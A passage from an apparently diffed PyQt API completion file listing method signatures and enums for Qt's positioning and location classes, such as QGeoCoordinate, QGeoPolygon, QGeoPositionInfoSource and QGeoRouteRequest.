float, float, float) +QtPositioning.QGeoCoordinate?1(QGeoCoordinate) +QtPositioning.QGeoCoordinate.__init__?1(self, QGeoCoordinate) +QtPositioning.QGeoCoordinate.isValid?4() -> bool +QtPositioning.QGeoCoordinate.type?4() -> QGeoCoordinate.CoordinateType +QtPositioning.QGeoCoordinate.setLatitude?4(float) +QtPositioning.QGeoCoordinate.latitude?4() -> float +QtPositioning.QGeoCoordinate.setLongitude?4(float) +QtPositioning.QGeoCoordinate.longitude?4() -> float +QtPositioning.QGeoCoordinate.setAltitude?4(float) +QtPositioning.QGeoCoordinate.altitude?4() -> float +QtPositioning.QGeoCoordinate.distanceTo?4(QGeoCoordinate) -> float +QtPositioning.QGeoCoordinate.azimuthTo?4(QGeoCoordinate) -> float +QtPositioning.QGeoCoordinate.atDistanceAndAzimuth?4(float, float, float distanceUp=0) -> QGeoCoordinate +QtPositioning.QGeoCoordinate.toString?4(QGeoCoordinate.CoordinateFormat format=QGeoCoordinate.DegreesMinutesSecondsWithHemisphere) -> QString +QtPositioning.QGeoLocation?1() +QtPositioning.QGeoLocation.__init__?1(self) +QtPositioning.QGeoLocation?1(QGeoLocation) +QtPositioning.QGeoLocation.__init__?1(self, QGeoLocation) +QtPositioning.QGeoLocation.address?4() -> QGeoAddress +QtPositioning.QGeoLocation.setAddress?4(QGeoAddress) +QtPositioning.QGeoLocation.coordinate?4() -> QGeoCoordinate +QtPositioning.QGeoLocation.setCoordinate?4(QGeoCoordinate) +QtPositioning.QGeoLocation.boundingBox?4() -> QGeoRectangle +QtPositioning.QGeoLocation.setBoundingBox?4(QGeoRectangle) +QtPositioning.QGeoLocation.isEmpty?4() -> bool +QtPositioning.QGeoLocation.extendedAttributes?4() -> QVariantMap +QtPositioning.QGeoLocation.setExtendedAttributes?4(QVariantMap) +QtPositioning.QGeoPath?1() +QtPositioning.QGeoPath.__init__?1(self) +QtPositioning.QGeoPath?1(unknown-type, float width=0) +QtPositioning.QGeoPath.__init__?1(self, unknown-type, float width=0) +QtPositioning.QGeoPath?1(QGeoPath) +QtPositioning.QGeoPath.__init__?1(self, QGeoPath) +QtPositioning.QGeoPath?1(QGeoShape) +QtPositioning.QGeoPath.__init__?1(self, QGeoShape) +QtPositioning.QGeoPath.setPath?4(unknown-type) +QtPositioning.QGeoPath.path?4() -> unknown-type +QtPositioning.QGeoPath.setWidth?4(float) +QtPositioning.QGeoPath.width?4() -> float +QtPositioning.QGeoPath.translate?4(float, float) +QtPositioning.QGeoPath.translated?4(float, float) -> QGeoPath +QtPositioning.QGeoPath.length?4(int indexFrom=0, int indexTo=-1) -> float +QtPositioning.QGeoPath.addCoordinate?4(QGeoCoordinate) +QtPositioning.QGeoPath.insertCoordinate?4(int, QGeoCoordinate) +QtPositioning.QGeoPath.replaceCoordinate?4(int, QGeoCoordinate) +QtPositioning.QGeoPath.coordinateAt?4(int) -> QGeoCoordinate +QtPositioning.QGeoPath.containsCoordinate?4(QGeoCoordinate) -> bool +QtPositioning.QGeoPath.removeCoordinate?4(QGeoCoordinate) +QtPositioning.QGeoPath.removeCoordinate?4(int) +QtPositioning.QGeoPath.toString?4() -> QString +QtPositioning.QGeoPath.size?4() -> int +QtPositioning.QGeoPath.clearPath?4() +QtPositioning.QGeoPolygon?1() +QtPositioning.QGeoPolygon.__init__?1(self) +QtPositioning.QGeoPolygon?1(unknown-type) +QtPositioning.QGeoPolygon.__init__?1(self, unknown-type) +QtPositioning.QGeoPolygon?1(QGeoPolygon) +QtPositioning.QGeoPolygon.__init__?1(self, QGeoPolygon) +QtPositioning.QGeoPolygon?1(QGeoShape) +QtPositioning.QGeoPolygon.__init__?1(self, QGeoShape) +QtPositioning.QGeoPolygon.setPath?4(unknown-type) +QtPositioning.QGeoPolygon.path?4() -> unknown-type +QtPositioning.QGeoPolygon.translate?4(float, float) +QtPositioning.QGeoPolygon.translated?4(float, float) -> QGeoPolygon +QtPositioning.QGeoPolygon.length?4(int indexFrom=0, int indexTo=-1) -> float +QtPositioning.QGeoPolygon.size?4() -> int +QtPositioning.QGeoPolygon.addCoordinate?4(QGeoCoordinate) +QtPositioning.QGeoPolygon.insertCoordinate?4(int, QGeoCoordinate) +QtPositioning.QGeoPolygon.replaceCoordinate?4(int, QGeoCoordinate) +QtPositioning.QGeoPolygon.coordinateAt?4(int) -> QGeoCoordinate +QtPositioning.QGeoPolygon.containsCoordinate?4(QGeoCoordinate) -> bool +QtPositioning.QGeoPolygon.removeCoordinate?4(QGeoCoordinate) +QtPositioning.QGeoPolygon.removeCoordinate?4(int) +QtPositioning.QGeoPolygon.toString?4() -> QString +QtPositioning.QGeoPolygon.addHole?4(unknown-type) +QtPositioning.QGeoPolygon.addHole?4(QVariant) +QtPositioning.QGeoPolygon.hole?4(int) -> unknown-type +QtPositioning.QGeoPolygon.holePath?4(int) -> unknown-type +QtPositioning.QGeoPolygon.removeHole?4(int) +QtPositioning.QGeoPolygon.holesCount?4() -> int +QtPositioning.QGeoPolygon.setPerimeter?4(unknown-type) +QtPositioning.QGeoPolygon.perimeter?4() -> unknown-type +QtPositioning.QGeoPositionInfo.Attribute?10 +QtPositioning.QGeoPositionInfo.Attribute.Direction?10 +QtPositioning.QGeoPositionInfo.Attribute.GroundSpeed?10 +QtPositioning.QGeoPositionInfo.Attribute.VerticalSpeed?10 +QtPositioning.QGeoPositionInfo.Attribute.MagneticVariation?10 +QtPositioning.QGeoPositionInfo.Attribute.HorizontalAccuracy?10 +QtPositioning.QGeoPositionInfo.Attribute.VerticalAccuracy?10 +QtPositioning.QGeoPositionInfo?1() +QtPositioning.QGeoPositionInfo.__init__?1(self) +QtPositioning.QGeoPositionInfo?1(QGeoCoordinate, QDateTime) +QtPositioning.QGeoPositionInfo.__init__?1(self, QGeoCoordinate, QDateTime) +QtPositioning.QGeoPositionInfo?1(QGeoPositionInfo) +QtPositioning.QGeoPositionInfo.__init__?1(self, QGeoPositionInfo) +QtPositioning.QGeoPositionInfo.isValid?4() -> bool +QtPositioning.QGeoPositionInfo.setTimestamp?4(QDateTime) +QtPositioning.QGeoPositionInfo.timestamp?4() -> QDateTime +QtPositioning.QGeoPositionInfo.setCoordinate?4(QGeoCoordinate) +QtPositioning.QGeoPositionInfo.coordinate?4() -> QGeoCoordinate +QtPositioning.QGeoPositionInfo.setAttribute?4(QGeoPositionInfo.Attribute, float) +QtPositioning.QGeoPositionInfo.attribute?4(QGeoPositionInfo.Attribute) -> float +QtPositioning.QGeoPositionInfo.removeAttribute?4(QGeoPositionInfo.Attribute) +QtPositioning.QGeoPositionInfo.hasAttribute?4(QGeoPositionInfo.Attribute) -> bool +QtPositioning.QGeoPositionInfoSource.PositioningMethod?10 +QtPositioning.QGeoPositionInfoSource.PositioningMethod.NoPositioningMethods?10 +QtPositioning.QGeoPositionInfoSource.PositioningMethod.SatellitePositioningMethods?10 +QtPositioning.QGeoPositionInfoSource.PositioningMethod.NonSatellitePositioningMethods?10 +QtPositioning.QGeoPositionInfoSource.PositioningMethod.AllPositioningMethods?10 +QtPositioning.QGeoPositionInfoSource.Error?10 +QtPositioning.QGeoPositionInfoSource.Error.AccessError?10 +QtPositioning.QGeoPositionInfoSource.Error.ClosedError?10 +QtPositioning.QGeoPositionInfoSource.Error.UnknownSourceError?10 +QtPositioning.QGeoPositionInfoSource.Error.NoError?10 +QtPositioning.QGeoPositionInfoSource?1(QObject) +QtPositioning.QGeoPositionInfoSource.__init__?1(self, QObject) +QtPositioning.QGeoPositionInfoSource.setUpdateInterval?4(int) +QtPositioning.QGeoPositionInfoSource.updateInterval?4() -> int +QtPositioning.QGeoPositionInfoSource.setPreferredPositioningMethods?4(QGeoPositionInfoSource.PositioningMethods) +QtPositioning.QGeoPositionInfoSource.preferredPositioningMethods?4() -> QGeoPositionInfoSource.PositioningMethods +QtPositioning.QGeoPositionInfoSource.lastKnownPosition?4(bool fromSatellitePositioningMethodsOnly=False) -> QGeoPositionInfo +QtPositioning.QGeoPositionInfoSource.supportedPositioningMethods?4() -> QGeoPositionInfoSource.PositioningMethods +QtPositioning.QGeoPositionInfoSource.minimumUpdateInterval?4() -> int +QtPositioning.QGeoPositionInfoSource.sourceName?4() -> QString +QtPositioning.QGeoPositionInfoSource.createDefaultSource?4(QObject) -> QGeoPositionInfoSource +QtPositioning.QGeoPositionInfoSource.createDefaultSource?4(QVariantMap, QObject) -> QGeoPositionInfoSource +QtPositioning.QGeoPositionInfoSource.createSource?4(QString, QObject) -> QGeoPositionInfoSource +QtPositioning.QGeoPositionInfoSource.createSource?4(QString, QVariantMap, QObject) -> QGeoPositionInfoSource +QtPositioning.QGeoPositionInfoSource.availableSources?4() -> QStringList +QtPositioning.QGeoPositionInfoSource.error?4() -> QGeoPositionInfoSource.Error +QtPositioning.QGeoPositionInfoSource.startUpdates?4() +QtPositioning.QGeoPositionInfoSource.stopUpdates?4() +QtPositioning.QGeoPositionInfoSource.requestUpdate?4(int timeout=0) +QtPositioning.QGeoPositionInfoSource.positionUpdated?4(QGeoPositionInfo) +QtPositioning.QGeoPositionInfoSource.updateTimeout?4() +QtPositioning.QGeoPositionInfoSource.error?4(QGeoPositionInfoSource.Error) +QtPositioning.QGeoPositionInfoSource.supportedPositioningMethodsChanged?4() +QtPositioning.QGeoPositionInfoSource.setBackendProperty?4(QString, QVariant) -> bool +QtPositioning.QGeoPositionInfoSource.backendProperty?4(QString) -> QVariant +QtPositioning.QGeoPositionInfoSource.PositioningMethods?1() +QtPositioning.QGeoPositionInfoSource.PositioningMethods.__init__?1(self) +QtPositioning.QGeoPositionInfoSource.PositioningMethods?1(int) +QtPositioning.QGeoPositionInfoSource.PositioningMethods.__init__?1(self, int) +QtPositioning.QGeoPositionInfoSource.PositioningMethods?1(QGeoPositionInfoSource.PositioningMethods) +QtPositioning.QGeoPositionInfoSource.PositioningMethods.__init__?1(self, QGeoPositionInfoSource.PositioningMethods) +QtPositioning.QGeoRectangle?1() +QtPositioning.QGeoRectangle.__init__?1(self) +QtPositioning.QGeoRectangle?1(QGeoCoordinate, float, float) +QtPositioning.QGeoRectangle.__init__?1(self, QGeoCoordinate, float, float) +QtPositioning.QGeoRectangle?1(QGeoCoordinate, QGeoCoordinate) +QtPositioning.QGeoRectangle.__init__?1(self, QGeoCoordinate, QGeoCoordinate) +QtPositioning.QGeoRectangle?1(unknown-type) +QtPositioning.QGeoRectangle.__init__?1(self, unknown-type) +QtPositioning.QGeoRectangle?1(QGeoRectangle) +QtPositioning.QGeoRectangle.__init__?1(self, QGeoRectangle) +QtPositioning.QGeoRectangle?1(QGeoShape) +QtPositioning.QGeoRectangle.__init__?1(self, QGeoShape) +QtPositioning.QGeoRectangle.setTopLeft?4(QGeoCoordinate) +QtPositioning.QGeoRectangle.topLeft?4() -> QGeoCoordinate +QtPositioning.QGeoRectangle.setTopRight?4(QGeoCoordinate) +QtPositioning.QGeoRectangle.topRight?4() -> QGeoCoordinate +QtPositioning.QGeoRectangle.setBottomLeft?4(QGeoCoordinate) +QtPositioning.QGeoRectangle.bottomLeft?4() -> QGeoCoordinate +QtPositioning.QGeoRectangle.setBottomRight?4(QGeoCoordinate) +QtPositioning.QGeoRectangle.bottomRight?4() -> QGeoCoordinate +QtPositioning.QGeoRectangle.setCenter?4(QGeoCoordinate) +QtPositioning.QGeoRectangle.center?4() -> QGeoCoordinate +QtPositioning.QGeoRectangle.setWidth?4(float) +QtPositioning.QGeoRectangle.width?4() -> float +QtPositioning.QGeoRectangle.setHeight?4(float) +QtPositioning.QGeoRectangle.height?4() -> float +QtPositioning.QGeoRectangle.contains?4(QGeoRectangle) -> bool +QtPositioning.QGeoRectangle.intersects?4(QGeoRectangle) -> bool +QtPositioning.QGeoRectangle.translate?4(float, float) +QtPositioning.QGeoRectangle.translated?4(float, float) -> QGeoRectangle +QtPositioning.QGeoRectangle.united?4(QGeoRectangle) -> QGeoRectangle +QtPositioning.QGeoRectangle.toString?4() -> QString +QtPositioning.QGeoRectangle.extendRectangle?4(QGeoCoordinate) +QtPositioning.QGeoSatelliteInfo.SatelliteSystem?10 +QtPositioning.QGeoSatelliteInfo.SatelliteSystem.Undefined?10 +QtPositioning.QGeoSatelliteInfo.SatelliteSystem.GPS?10 +QtPositioning.QGeoSatelliteInfo.SatelliteSystem.GLONASS?10 +QtPositioning.QGeoSatelliteInfo.Attribute?10 +QtPositioning.QGeoSatelliteInfo.Attribute.Elevation?10 +QtPositioning.QGeoSatelliteInfo.Attribute.Azimuth?10 +QtPositioning.QGeoSatelliteInfo?1() +QtPositioning.QGeoSatelliteInfo.__init__?1(self) +QtPositioning.QGeoSatelliteInfo?1(QGeoSatelliteInfo) +QtPositioning.QGeoSatelliteInfo.__init__?1(self, QGeoSatelliteInfo) +QtPositioning.QGeoSatelliteInfo.setSatelliteSystem?4(QGeoSatelliteInfo.SatelliteSystem) +QtPositioning.QGeoSatelliteInfo.satelliteSystem?4() -> QGeoSatelliteInfo.SatelliteSystem +QtPositioning.QGeoSatelliteInfo.setSatelliteIdentifier?4(int) +QtPositioning.QGeoSatelliteInfo.satelliteIdentifier?4() -> int +QtPositioning.QGeoSatelliteInfo.setSignalStrength?4(int) +QtPositioning.QGeoSatelliteInfo.signalStrength?4() -> int +QtPositioning.QGeoSatelliteInfo.setAttribute?4(QGeoSatelliteInfo.Attribute, float) +QtPositioning.QGeoSatelliteInfo.attribute?4(QGeoSatelliteInfo.Attribute) -> float +QtPositioning.QGeoSatelliteInfo.removeAttribute?4(QGeoSatelliteInfo.Attribute) +QtPositioning.QGeoSatelliteInfo.hasAttribute?4(QGeoSatelliteInfo.Attribute) -> bool +QtPositioning.QGeoSatelliteInfoSource.Error?10 +QtPositioning.QGeoSatelliteInfoSource.Error.AccessError?10 +QtPositioning.QGeoSatelliteInfoSource.Error.ClosedError?10 +QtPositioning.QGeoSatelliteInfoSource.Error.NoError?10 +QtPositioning.QGeoSatelliteInfoSource.Error.UnknownSourceError?10 +QtPositioning.QGeoSatelliteInfoSource?1(QObject) +QtPositioning.QGeoSatelliteInfoSource.__init__?1(self, QObject) +QtPositioning.QGeoSatelliteInfoSource.createDefaultSource?4(QObject) -> QGeoSatelliteInfoSource +QtPositioning.QGeoSatelliteInfoSource.createDefaultSource?4(QVariantMap, QObject) -> QGeoSatelliteInfoSource +QtPositioning.QGeoSatelliteInfoSource.createSource?4(QString, QObject) -> QGeoSatelliteInfoSource +QtPositioning.QGeoSatelliteInfoSource.createSource?4(QString, QVariantMap, QObject) -> QGeoSatelliteInfoSource +QtPositioning.QGeoSatelliteInfoSource.availableSources?4() -> QStringList +QtPositioning.QGeoSatelliteInfoSource.sourceName?4() -> QString +QtPositioning.QGeoSatelliteInfoSource.setUpdateInterval?4(int) +QtPositioning.QGeoSatelliteInfoSource.updateInterval?4() -> int +QtPositioning.QGeoSatelliteInfoSource.minimumUpdateInterval?4() -> int +QtPositioning.QGeoSatelliteInfoSource.error?4() -> QGeoSatelliteInfoSource.Error +QtPositioning.QGeoSatelliteInfoSource.startUpdates?4() +QtPositioning.QGeoSatelliteInfoSource.stopUpdates?4() +QtPositioning.QGeoSatelliteInfoSource.requestUpdate?4(int timeout=0) +QtPositioning.QGeoSatelliteInfoSource.satellitesInViewUpdated?4(unknown-type) +QtPositioning.QGeoSatelliteInfoSource.satellitesInUseUpdated?4(unknown-type) +QtPositioning.QGeoSatelliteInfoSource.requestTimeout?4() +QtPositioning.QGeoSatelliteInfoSource.error?4(QGeoSatelliteInfoSource.Error) +QtPositioning.QNmeaPositionInfoSource.UpdateMode?10 +QtPositioning.QNmeaPositionInfoSource.UpdateMode.RealTimeMode?10 +QtPositioning.QNmeaPositionInfoSource.UpdateMode.SimulationMode?10 +QtPositioning.QNmeaPositionInfoSource?1(QNmeaPositionInfoSource.UpdateMode, QObject parent=None) +QtPositioning.QNmeaPositionInfoSource.__init__?1(self, QNmeaPositionInfoSource.UpdateMode, QObject parent=None) +QtPositioning.QNmeaPositionInfoSource.updateMode?4() -> QNmeaPositionInfoSource.UpdateMode +QtPositioning.QNmeaPositionInfoSource.setDevice?4(QIODevice) +QtPositioning.QNmeaPositionInfoSource.device?4() -> QIODevice +QtPositioning.QNmeaPositionInfoSource.setUpdateInterval?4(int) +QtPositioning.QNmeaPositionInfoSource.lastKnownPosition?4(bool fromSatellitePositioningMethodsOnly=False) -> QGeoPositionInfo +QtPositioning.QNmeaPositionInfoSource.supportedPositioningMethods?4() -> QGeoPositionInfoSource.PositioningMethods +QtPositioning.QNmeaPositionInfoSource.minimumUpdateInterval?4() -> int +QtPositioning.QNmeaPositionInfoSource.error?4() -> QGeoPositionInfoSource.Error +QtPositioning.QNmeaPositionInfoSource.startUpdates?4() +QtPositioning.QNmeaPositionInfoSource.stopUpdates?4() +QtPositioning.QNmeaPositionInfoSource.requestUpdate?4(int timeout=0) +QtPositioning.QNmeaPositionInfoSource.parsePosInfoFromNmeaData?4(str, int, QGeoPositionInfo) -> (bool, bool) +QtPositioning.QNmeaPositionInfoSource.setUserEquivalentRangeError?4(float) +QtPositioning.QNmeaPositionInfoSource.userEquivalentRangeError?4() -> float +QtLocation.QGeoCodeReply.Error?10 +QtLocation.QGeoCodeReply.Error.NoError?10 +QtLocation.QGeoCodeReply.Error.EngineNotSetError?10 +QtLocation.QGeoCodeReply.Error.CommunicationError?10 +QtLocation.QGeoCodeReply.Error.ParseError?10 +QtLocation.QGeoCodeReply.Error.UnsupportedOptionError?10 +QtLocation.QGeoCodeReply.Error.CombinationError?10 +QtLocation.QGeoCodeReply.Error.UnknownError?10 +QtLocation.QGeoCodeReply?1(QGeoCodeReply.Error, QString, QObject parent=None) +QtLocation.QGeoCodeReply.__init__?1(self, QGeoCodeReply.Error, QString, QObject parent=None) +QtLocation.QGeoCodeReply?1(QObject parent=None) +QtLocation.QGeoCodeReply.__init__?1(self, QObject parent=None) +QtLocation.QGeoCodeReply.isFinished?4() -> bool +QtLocation.QGeoCodeReply.error?4() -> QGeoCodeReply.Error +QtLocation.QGeoCodeReply.errorString?4() -> QString +QtLocation.QGeoCodeReply.viewport?4() -> QGeoShape +QtLocation.QGeoCodeReply.locations?4() -> unknown-type +QtLocation.QGeoCodeReply.limit?4() -> int +QtLocation.QGeoCodeReply.offset?4() -> int +QtLocation.QGeoCodeReply.abort?4() +QtLocation.QGeoCodeReply.aborted?4() +QtLocation.QGeoCodeReply.finished?4() +QtLocation.QGeoCodeReply.error?4(QGeoCodeReply.Error, QString errorString='') +QtLocation.QGeoCodeReply.setError?4(QGeoCodeReply.Error, QString) +QtLocation.QGeoCodeReply.setFinished?4(bool) +QtLocation.QGeoCodeReply.setViewport?4(QGeoShape) +QtLocation.QGeoCodeReply.addLocation?4(QGeoLocation) +QtLocation.QGeoCodeReply.setLocations?4(unknown-type) +QtLocation.QGeoCodeReply.setLimit?4(int) +QtLocation.QGeoCodeReply.setOffset?4(int) +QtLocation.QGeoCodingManager.managerName?4() -> QString +QtLocation.QGeoCodingManager.managerVersion?4() -> int +QtLocation.QGeoCodingManager.geocode?4(QGeoAddress, QGeoShape bounds=QGeoShape()) -> QGeoCodeReply +QtLocation.QGeoCodingManager.geocode?4(QString, int limit=-1, int offset=0, QGeoShape bounds=QGeoShape()) -> QGeoCodeReply +QtLocation.QGeoCodingManager.reverseGeocode?4(QGeoCoordinate, QGeoShape bounds=QGeoShape()) -> QGeoCodeReply +QtLocation.QGeoCodingManager.setLocale?4(QLocale) +QtLocation.QGeoCodingManager.locale?4() -> QLocale +QtLocation.QGeoCodingManager.finished?4(QGeoCodeReply) +QtLocation.QGeoCodingManager.error?4(QGeoCodeReply, QGeoCodeReply.Error, QString errorString='') +QtLocation.QGeoCodingManagerEngine?1(QVariantMap, QObject parent=None) +QtLocation.QGeoCodingManagerEngine.__init__?1(self, QVariantMap, QObject parent=None) +QtLocation.QGeoCodingManagerEngine.managerName?4() -> QString +QtLocation.QGeoCodingManagerEngine.managerVersion?4() -> int +QtLocation.QGeoCodingManagerEngine.geocode?4(QGeoAddress, QGeoShape) -> QGeoCodeReply +QtLocation.QGeoCodingManagerEngine.geocode?4(QString, int, int, QGeoShape) -> QGeoCodeReply +QtLocation.QGeoCodingManagerEngine.reverseGeocode?4(QGeoCoordinate, QGeoShape) -> QGeoCodeReply +QtLocation.QGeoCodingManagerEngine.setLocale?4(QLocale) +QtLocation.QGeoCodingManagerEngine.locale?4() -> QLocale +QtLocation.QGeoCodingManagerEngine.finished?4(QGeoCodeReply) +QtLocation.QGeoCodingManagerEngine.error?4(QGeoCodeReply, QGeoCodeReply.Error, QString errorString='') +QtLocation.QGeoManeuver.InstructionDirection?10 +QtLocation.QGeoManeuver.InstructionDirection.NoDirection?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionForward?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionBearRight?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionLightRight?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionRight?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionHardRight?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionUTurnRight?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionUTurnLeft?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionHardLeft?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionLeft?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionLightLeft?10 +QtLocation.QGeoManeuver.InstructionDirection.DirectionBearLeft?10 +QtLocation.QGeoManeuver?1() +QtLocation.QGeoManeuver.__init__?1(self) +QtLocation.QGeoManeuver?1(QGeoManeuver) +QtLocation.QGeoManeuver.__init__?1(self, QGeoManeuver) +QtLocation.QGeoManeuver.isValid?4() -> bool +QtLocation.QGeoManeuver.setPosition?4(QGeoCoordinate) +QtLocation.QGeoManeuver.position?4() -> QGeoCoordinate +QtLocation.QGeoManeuver.setInstructionText?4(QString) +QtLocation.QGeoManeuver.instructionText?4() -> QString +QtLocation.QGeoManeuver.setDirection?4(QGeoManeuver.InstructionDirection) +QtLocation.QGeoManeuver.direction?4() -> QGeoManeuver.InstructionDirection +QtLocation.QGeoManeuver.setTimeToNextInstruction?4(int) +QtLocation.QGeoManeuver.timeToNextInstruction?4() -> int +QtLocation.QGeoManeuver.setDistanceToNextInstruction?4(float) +QtLocation.QGeoManeuver.distanceToNextInstruction?4() -> float +QtLocation.QGeoManeuver.setWaypoint?4(QGeoCoordinate) +QtLocation.QGeoManeuver.waypoint?4() -> QGeoCoordinate +QtLocation.QGeoManeuver.setExtendedAttributes?4(QVariantMap) +QtLocation.QGeoManeuver.extendedAttributes?4() -> QVariantMap +QtLocation.QGeoRoute?1() +QtLocation.QGeoRoute.__init__?1(self) +QtLocation.QGeoRoute?1(QGeoRoute) +QtLocation.QGeoRoute.__init__?1(self, QGeoRoute) +QtLocation.QGeoRoute.setRouteId?4(QString) +QtLocation.QGeoRoute.routeId?4() -> QString +QtLocation.QGeoRoute.setRequest?4(QGeoRouteRequest) +QtLocation.QGeoRoute.request?4() -> QGeoRouteRequest +QtLocation.QGeoRoute.setBounds?4(QGeoRectangle) +QtLocation.QGeoRoute.bounds?4() -> QGeoRectangle +QtLocation.QGeoRoute.setFirstRouteSegment?4(QGeoRouteSegment) +QtLocation.QGeoRoute.firstRouteSegment?4() -> QGeoRouteSegment +QtLocation.QGeoRoute.setTravelTime?4(int) +QtLocation.QGeoRoute.travelTime?4() -> int +QtLocation.QGeoRoute.setDistance?4(float) +QtLocation.QGeoRoute.distance?4() -> float +QtLocation.QGeoRoute.setTravelMode?4(QGeoRouteRequest.TravelMode) +QtLocation.QGeoRoute.travelMode?4() -> QGeoRouteRequest.TravelMode +QtLocation.QGeoRoute.setPath?4(unknown-type) +QtLocation.QGeoRoute.path?4() -> unknown-type +QtLocation.QGeoRoute.setRouteLegs?4(unknown-type) +QtLocation.QGeoRoute.routeLegs?4() -> unknown-type +QtLocation.QGeoRoute.setExtendedAttributes?4(QVariantMap) +QtLocation.QGeoRoute.extendedAttributes?4() -> QVariantMap +QtLocation.QGeoRouteLeg?1() +QtLocation.QGeoRouteLeg.__init__?1(self) +QtLocation.QGeoRouteLeg?1(QGeoRouteLeg) +QtLocation.QGeoRouteLeg.__init__?1(self, QGeoRouteLeg) +QtLocation.QGeoRouteLeg.setLegIndex?4(int) +QtLocation.QGeoRouteLeg.legIndex?4() -> int +QtLocation.QGeoRouteLeg.setOverallRoute?4(QGeoRoute) +QtLocation.QGeoRouteLeg.overallRoute?4() -> QGeoRoute +QtLocation.QGeoRouteReply.Error?10 +QtLocation.QGeoRouteReply.Error.NoError?10 +QtLocation.QGeoRouteReply.Error.EngineNotSetError?10 +QtLocation.QGeoRouteReply.Error.CommunicationError?10 +QtLocation.QGeoRouteReply.Error.ParseError?10 +QtLocation.QGeoRouteReply.Error.UnsupportedOptionError?10 +QtLocation.QGeoRouteReply.Error.UnknownError?10 +QtLocation.QGeoRouteReply?1(QGeoRouteReply.Error, QString, QObject parent=None) +QtLocation.QGeoRouteReply.__init__?1(self, QGeoRouteReply.Error, QString, QObject parent=None) +QtLocation.QGeoRouteReply?1(QGeoRouteRequest, QObject parent=None) +QtLocation.QGeoRouteReply.__init__?1(self, QGeoRouteRequest, QObject parent=None) +QtLocation.QGeoRouteReply.isFinished?4() -> bool +QtLocation.QGeoRouteReply.error?4() -> QGeoRouteReply.Error +QtLocation.QGeoRouteReply.errorString?4() -> QString +QtLocation.QGeoRouteReply.request?4() -> QGeoRouteRequest +QtLocation.QGeoRouteReply.routes?4() -> unknown-type +QtLocation.QGeoRouteReply.abort?4() +QtLocation.QGeoRouteReply.aborted?4() +QtLocation.QGeoRouteReply.finished?4() +QtLocation.QGeoRouteReply.error?4(QGeoRouteReply.Error, QString errorString='') +QtLocation.QGeoRouteReply.setError?4(QGeoRouteReply.Error, QString) +QtLocation.QGeoRouteReply.setFinished?4(bool) +QtLocation.QGeoRouteReply.setRoutes?4(unknown-type) +QtLocation.QGeoRouteReply.addRoutes?4(unknown-type) +QtLocation.QGeoRouteRequest.ManeuverDetail?10 +QtLocation.QGeoRouteRequest.ManeuverDetail.NoManeuvers?10 +QtLocation.QGeoRouteRequest.ManeuverDetail.BasicManeuvers?10 +QtLocation.QGeoRouteRequest.SegmentDetail?10 +QtLocation.QGeoRouteRequest.SegmentDetail.NoSegmentData?10 +QtLocation.QGeoRouteRequest.SegmentDetail.BasicSegmentData?10 +QtLocation.QGeoRouteRequest.RouteOptimization?10 +QtLocation.QGeoRouteRequest.RouteOptimization.ShortestRoute?10 +QtLocation.QGeoRouteRequest.RouteOptimization.FastestRoute?10 +QtLocation.QGeoRouteRequest.RouteOptimization.MostEconomicRoute?10 +QtLocation.QGeoRouteRequest.RouteOptimization.MostScenicRoute?10 +QtLocation.QGeoRouteRequest.FeatureWeight?10 +QtLocation.QGeoRouteRequest.FeatureWeight.NeutralFeatureWeight?10 +QtLocation.QGeoRouteRequest.FeatureWeight.PreferFeatureWeight?10 +QtLocation.QGeoRouteRequest.FeatureWeight.RequireFeatureWeight?10 +QtLocation.QGeoRouteRequest.FeatureWeight.AvoidFeatureWeight?10 +QtLocation.QGeoRouteRequest.FeatureWeight.DisallowFeatureWeight?10 +QtLocation.QGeoRouteRequest.FeatureType?10 +QtLocation.QGeoRouteRequest.FeatureType.NoFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.TollFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.HighwayFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.PublicTransitFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.FerryFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.TunnelFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.DirtRoadFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.ParksFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.MotorPoolLaneFeature?10 +QtLocation.QGeoRouteRequest.FeatureType.TrafficFeature?10 +QtLocation.QGeoRouteRequest.TravelMode?10 +QtLocation.QGeoRouteRequest.TravelMode.CarTravel?10 +QtLocation.QGeoRouteRequest.TravelMode.PedestrianTravel?10 +QtLocation.QGeoRouteRequest.TravelMode.BicycleTravel?10 +QtLocation.QGeoRouteRequest.TravelMode.PublicTransitTravel?10 +QtLocation.QGeoRouteRequest.TravelMode.TruckTravel?10 +QtLocation.QGeoRouteRequest?1(unknown-type waypoints=[]) +QtLocation.QGeoRouteRequest.__init__?1(self, unknown-type waypoints=[]) +QtLocation.QGeoRouteRequest?1(QGeoCoordinate, QGeoCoordinate) +QtLocation.QGeoRouteRequest.__init__?1(self, QGeoCoordinate, QGeoCoordinate) +QtLocation.QGeoRouteRequest?1(QGeoRouteRequest) +QtLocation.QGeoRouteRequest.__init__?1(self, QGeoRouteRequest) +QtLocation.QGeoRouteRequest.setWaypoints?4(unknown-type) +QtLocation.QGeoRouteRequest.waypoints?4() -> unknown-type +QtLocation.QGeoRouteRequest.setExcludeAreas?4(unknown-type) +QtLocation.QGeoRouteRequest.excludeAreas?4() -> unknown-type +QtLocation.QGeoRouteRequest.setNumberAlternativeRoutes?4(int) +QtLocation.QGeoRouteRequest.numberAlternativeRoutes?4() -> int +QtLocation.QGeoRouteRequest.setTravelModes?4(QGeoRouteRequest.TravelModes) +QtLocation.QGeoRouteRequest.travelModes?4() -> QGeoRouteRequest.TravelModes +QtLocation.QGeoRouteRequest.setFeatureWeight?4(QGeoRouteRequest.FeatureType, QGeoRouteRequest.FeatureWeight) +QtLocation.QGeoRouteRequest.featureWeight?4(QGeoRouteRequest.FeatureType) -> QGeoRouteRequest.FeatureWeight +QtLocation.QGeoRouteRequest.featureTypes?4() -> unknown-type 